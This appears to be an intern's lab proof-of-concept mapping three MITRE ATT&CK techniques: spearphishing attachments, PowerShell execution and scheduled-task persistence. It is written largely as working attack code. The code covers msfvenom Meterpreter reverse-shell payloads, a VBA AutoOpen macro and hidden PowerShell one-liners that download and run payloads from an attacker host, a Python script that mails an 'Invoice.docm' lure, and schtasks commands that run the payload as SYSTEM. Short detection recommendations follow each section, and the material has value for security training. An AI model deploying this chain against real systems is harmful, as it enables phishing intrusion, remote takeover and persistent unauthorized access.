Proof Of Concept (POC) of Threat Intelligence

Name of Presenter: Dev Sharma
Intern Id: 179

What is Threat Intelligence

Threat Intelligence involves collecting, analyzing, and leveraging information about existing and emerging cyber threats to effectively prevent, detect, and respond to attacks. It delivers contextual insights into threat actors — including their tools, behaviors (TTPs), and motives — enabling security teams to make informed decisions for protecting systems, networks, and data.

In simple terms:

- **Tactic** – The attacker's goal or *why* they are acting.
- **Technique** – The method or *how* they are achieving that goal.
- **Sub-technique** – A more detailed or specific *how*.
- **Procedure** – A real-world example of the technique in action.

Tactic: Initial Access

🔧 **Technique:** Spearphishing Attachment (MITRE ID: T1566.001)

Goal: Gain initial access to a target system by sending a malicious document attachment that, when opened, executes code to establish a backdoor or deliver a payload.

🎯 **Objective**

Craft and deliver a weaponized Microsoft Office document containing malicious macros or embedded scripts to a target via email. Upon opening and enabling macros, the document downloads and executes a remote payload, giving the attacker access.

🧪 **Lab Setup**

- **Target System:** Windows 10 (Microsoft Office installed, Outlook/Thunderbird for email)
- **Attacker System:** Kali Linux or Parrot OS
- **Tools Used:** MSFvenom, Microsoft Office, Social Engineering Toolkit (SET), Python SMTP server, PowerShell

---

🧭 **Step-by-Step Execution**

🛠 **Procedure 1: Create Malicious Office Document with Macros**

We use **MSFvenom** to create a malicious payload and embed it inside a Word document macro.

1. **Generate payload using MSFvenom**:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > payload.exe
```

2. **Host payload on attacker system**:

```
python3 -m http.server 8080
```

3. **Create Word macro** (Visual Basic for Applications - VBA):

```
Sub AutoOpen()
```

```
    Dim str As String
    str = "powershell -nop -w hidden -c ""IEX(New-Object
Net.WebClient).DownloadFile('http://192.168.1.100:8080/payload.exe','%TEMP%\payload.
exe'); Start-Process '%TEMP%\payload.exe'"""
    Shell str, vbHide
End Sub
```

4. Save the document as **Invoice.docm** (macro-enabled).

🛠 **Procedure 2: Deliver the Malicious Attachment via Email**

We send the weaponized document through a controlled spearphishing simulation.

1. **Using Social Engineering Toolkit (SET)**:

```
setoolkit
```

- Choose Social-Engineering Attacks → Spear-Phishing Attack Vectors → Create a FileFormat Payload.
- Attach Invoice.docm and configure the email template.

2. **Or manually send via Python SMTP**:

```
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders

msg = MIMEMultipart()
msg['From'] = "attacker@example.com"
msg['To'] = "victim@example.com"
msg['Subject'] = "Invoice for Last Month"

part = MIMEBase('application', "octet-stream")
part.set_payload(open("Invoice.docm", "rb").read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="Invoice.docm"')
msg.attach(part)

smtp = smtplib.SMTP("mail.example.com", 25)
smtp.sendmail(msg['From'], msg['To'], msg.as_string())
smtp.quit()
```

🛡 **Impact Outcome**

1. If the target opens the document and enables macros, the macro downloads and executes the payload, establishing a Meterpreter session.
2. The attacker gains remote control of the target machine, achieving **Initial Access**.

🔍 **Detection Recommendations**

1. Block Office macros from the internet via Group Policy.
2. Inspect email attachments for embedded scripts/macros.
3. Use sandbox analysis for suspicious documents.
4. Monitor PowerShell execution logs for suspicious downloads.

🧩 Mapping to MITRE ATT&CK

Category	Description
Tactic	Initial Access
Technique	Spearphishing Attachment
Technique ID	T1566.001
Tools	MSFvenom, Microsoft Office, PowerShell, SET
Real-World Use	Used by FIN7, APT28, and other threat groups to deliver remote access trojans

---

✅ Steps Summary

1. Generate malicious payload with MSFvenom.
2. Embed in Office document macro.
3. Send via spearphishing email.
4. Victim opens doc, macro executes payload.
5. Attacker gains Initial Access.

Tactic: Execution

🔧 **Technique:** Command and Scripting Interpreter – PowerShell (MITRE ID: T1059.001)
Goal: Execute malicious commands or scripts via PowerShell to download, execute, and maintain persistence on a target system.

🎯 Objective

Use PowerShell to run malicious commands that can download and execute payloads from a remote server, and demonstrate persistence methods to maintain control.

🧪 Lab Setup

- **Target System:** Windows 10 (PowerShell v5+ installed)
- **Attacker System:** Kali Linux or Parrot OS
- **Tools Used:** PowerShell, MSFvenom, Python HTTP Server, Windows Task Scheduler

---

🧭 Step-by-Step Execution

🛠 Procedure 1: Download and Execute Payload via PowerShell

1. **Generate payload using MSFvenom**:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > shell.exe
```

2. **Host payload on attacker system**:

```
python3 -m http.server 8080
```

3. **Execute on target via PowerShell**:

```
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadFile('http://192.168.1.100:8080/shell.exe','%TEMP%\shell.exe'); Start-Process '%TEMP%\shell.exe'"
```

📌 *This command downloads the malicious binary to the temp folder and executes it, giving the attacker a reverse shell.*

🛠 **Procedure 2: Establish Persistence via PowerShell**

1. **Create malicious script file** (payload.ps1):

```
IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.100:8080/shell.ps1')
```

2. **Save it locally**:

```
Set-Content -Path "$env:APPDATA\payload.ps1" -Value "IEX(New-Object
Net.WebClient).DownloadString('http://192.168.1.100:8080/shell.ps1')"
```

3. **Add a Scheduled Task via PowerShell**:

```
schtasks /create /sc minute /mo 5 /tn "Updater" /tr "powershell.exe -nop -w hidden -c
IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.100:8080/shell.ps1')" /ru
SYSTEM
```

📌 *This ensures the payload executes every 5 minutes with SYSTEM privileges.*

🛡 **Impact Outcome**

1. Procedure 1 provides immediate code execution and remote shell access.
2. Procedure 2 ensures persistence, enabling the attacker to re-enter even if the initial session is lost.

🔍 **Detection Recommendations**

1. Monitor PowerShell logs (Event ID 4104 for script block logging).
2. Block execution of PowerShell from untrusted sources.
3. Use Constrained Language Mode for PowerShell where possible.
4. Detect abnormal scheduled tasks creation (Event ID 4698).

📚 **Mapping to MITRE ATT&CK**

Category	Description
Tactic	Execution
Technique	Command and Scripting Interpreter – PowerShell
Technique ID	T1059.001
Tools	PowerShell, MSFvenom, Python HTTP Server
Real-World Use	Extensively used by APT29, FIN7, and Cobalt Strike operators for payload delivery and persistence

---

✅ **Steps Summary**

1. Generate and host payload.
2. Download and execute via PowerShell one-liner.
3. Create persistence using Scheduled Tasks in PowerShell.
4. Maintain long-term access to the compromised host.

Tactic: Persistence / Privilege Escalation

🔧 **Technique:** Scheduled Task/Job – Scheduled Task (MITRE ID: T1053.005)
Goal: Maintain persistence or escalate privileges on a Windows system by creating malicious scheduled tasks that execute payloads at specific times or triggers.

🎯 **Objective**

Create and configure scheduled tasks to repeatedly execute malicious scripts or payloads, ensuring continued access to a compromised system even after reboots or logoffs.

🧪 **Lab Setup**

- **Target System:** Windows 10
- **Attacker System:** Kali Linux or Parrot OS
- **Tools Used:** PowerShell, MSFvenom, Python HTTP Server, schtasks.exe

---

🧭 **Step-by-Step Execution**

🛠 **Procedure 1: Create a Malicious Script and Schedule It on Logon**

1. **Generate PowerShell payload with MSFvenom**:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f psh > payload.ps1
```

2. **Host payload on attacker system**:

```
python3 -m http.server 8080
```

3. **Download and save payload locally on target**:

```
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadFile('http://192.168.1.100:8080/payload.ps1','C:\Users\Public\payload.ps1')"
```

4. **Create scheduled task to run at every logon**:

```
schtasks /create /sc onlogon /tn "Updater" /tr "powershell.exe -nop -w hidden -f C:\Users\Public\payload.ps1" /ru SYSTEM
```

📌 *This ensures that every time the system logs in, the malicious PowerShell script runs automatically.*

🛠 **Procedure 2: Schedule a Reverse Shell at Fixed Intervals**

1. **Generate reverse shell payload in EXE format**:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=5555 -f exe > shell.exe
```

2. **Host payload on attacker system**:

```
python3 -m http.server 8080
```

3. **Download payload to target system**:

```
powershell -c "(New-Object Net.WebClient).DownloadFile('http://192.168.1.100:8080/shell.exe','C:\Windows\Temp\shell.exe')"
```

4. **Create scheduled task to run every 5 minutes**:

```
schtasks /create /sc minute /mo 5 /tn "SystemUpdate" /tr "C:\Windows\Temp\shell.exe" /ru SYSTEM
```

📌 *This provides continuous reconnection attempts to the attacker's machine every 5 minutes, maintaining access even if the session is lost.*

🛡 **Impact Outcome**

1. Procedure 1 creates a logon-triggered persistence mechanism.
2. Procedure 2 ensures periodic reconnection for long-term control.

🔍 Detection Recommendations

1. Monitor new scheduled task creation events (Event ID 4698).
2. Audit scheduled task modification/deletion events (Event ID 4699/4700).
3. Regularly list all scheduled tasks and verify their legitimacy.
4. Use EDR solutions to detect PowerShell execution from scheduled tasks.

📚 Mapping to MITRE ATT&CK

Category	Description
Tactic	Persistence / Privilege Escalation
Technique	Scheduled Task/Job – Scheduled Task
Technique ID	T1053.005
Tools	PowerShell, MSFvenom, schtasks.exe
Real-World Use	Used by APT32, FIN7, and ransomware operators for persistence

---

✅ Steps Summary

1. Generate payload (PS1/EXE).
2. Host and download onto target.
3. Create scheduled task to run at logon or at intervals.
4. Maintain persistence and re-establish connection when needed.
